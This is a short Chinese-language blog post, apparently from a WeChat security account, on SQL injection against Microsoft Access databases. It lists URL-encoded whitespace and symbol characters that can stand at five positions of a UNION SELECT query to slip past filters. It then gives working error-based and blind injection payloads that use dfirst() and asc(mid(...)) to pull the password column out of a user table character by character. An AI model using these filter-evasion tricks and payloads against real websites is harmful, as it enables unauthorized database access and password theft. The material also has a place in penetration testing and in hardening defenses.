0x01 背景
无聊,测试了一下access特性
0x02 测试
常见有5个位置即:select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin
位置一:参数和union之间的位置
(1)空白字符
Access可以利用的空白字符有:%09、%0a、%0c、%0d、%16
(2)%3b
位置二:union和select之间的位置
(1)空白字符
Access可以利用的空白字符有:%09、%0a、%0c、%0d
位置三:select和查询参数之间的位置
(1)空白字符
Access可以利用的空白字符有:%09、%0a、%0c、%0d
(2)其他字符
%2b、%2d、%2e、%3d
位置四:查询参数和from之间的位置
(1)空白字符
Access可以利用的空白字符有:%09、%0a、%0c、%0d
位置五:from后面的位置
(1)空白字符
Access可以利用的空白字符有:%09、%0a、%0c、%0d
0x03 技巧
ACCESS无select SQL注射
1 、需要报错
select * from idea_user where id=3+(dfirst([password],([idea_user]![password])))
2、盲注
select * from idea_user where id=3+asc(mid((dfirst("[password]","[idea_user]")),1,1))-101
password字段第一个字符为e,对应ascii为101,所以id=3+101-101 还是等于3,页面返回正常
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。
参考文章:
ACCESS无select SQL注射 http://www.5kik.com/aspnews/597.html